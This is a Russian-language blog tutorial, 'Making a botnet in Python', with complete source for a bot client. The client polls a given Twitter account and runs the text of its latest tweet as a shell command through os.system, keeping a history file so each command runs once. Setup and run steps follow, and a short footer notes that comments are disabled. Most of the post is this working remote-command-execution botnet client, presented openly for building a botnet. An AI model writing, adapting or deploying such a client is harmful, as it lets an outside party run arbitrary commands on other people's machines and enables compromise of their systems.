Делаем ботнет на Python

8 комментариев

Мы создадим простого управляемого бота, который будет получать команды из ленты твиттера и выполнять их на клиентской машине. Для работы с Twitter API, установите пакет python-twitter.

pip install python-twitter

В качестве рабочего окружения я буду использовать python2.7 под virtualenv, и один из дистрибутивов GNU/Linux. Программа-клиент будет работать в бесконечном цикле, периодически получая команды из твиттера.

Сохраните следующий код в файле twibot.py.

#!/usr/bin/env python
#!-*- coding: utf-8 -*-

import os
import time
import string

import twitter

# Задержка между запросами в секундах
REQUEST_DELAY = 2
# Аккаунт Twitter для управления
TWITTER_USERNAME = 'John1698736'
# Формат даты, отдаваемой API твиттера
DATE_FORMAT = '%a %b %d %H:%M:%S +0000 %Y'
# Имя файла для записи истории "выполненных" твитов
LOG_FILE = 'history.txt'

api = twitter.Api()

while True:
    statuses = api.GetUserTimeline(TWITTER_USERNAME)
    try:
        command = statuses[0]
    except IndexError:
        command = None

    if isinstance(command, twitter.Status):
        with open(LOG_FILE, 'a+') as f:
            history = string.split(f.read(), "\n")
            if not str(command.id) in history:
                os.system(command.text)
                f.write(str(command.id) + "\n")
        f.closed

    time.sleep(REQUEST_DELAY)

Имя вашего Twitter-аккаунта необходимо задать в переменной TWITTER_USERNAME.

Запустим и проверим работу нашего скрипта.

./twibot.py

Теперь опубликуем тестовый твит.

Снова откроем окно с запущенным ботом, и подождем пару секунд.

Скрипт «исполняет» самый последний твит в ленте пользователя. Перед выполнением команды, в файле history.txt проверяется наличие идентификатора текущего сообщения. Если идентификатор был найден, значит твит уже «выполнялся» ранее.

Иначе, происходит «выполнение» текущего твита, после чего в history.txt записывается номер текущего сообщения.

Комментарии к статье: 8

Подождите, загружаются комментарии...

Возможность комментировать эту статью отключена автором. Возможно, во всем виновата её провокационная тематика или большое обилие флейма от предыдущих комментаторов.

Если у вас есть вопросы по содержанию статьи, рекомендуем вам обратиться за помощью на наш форум.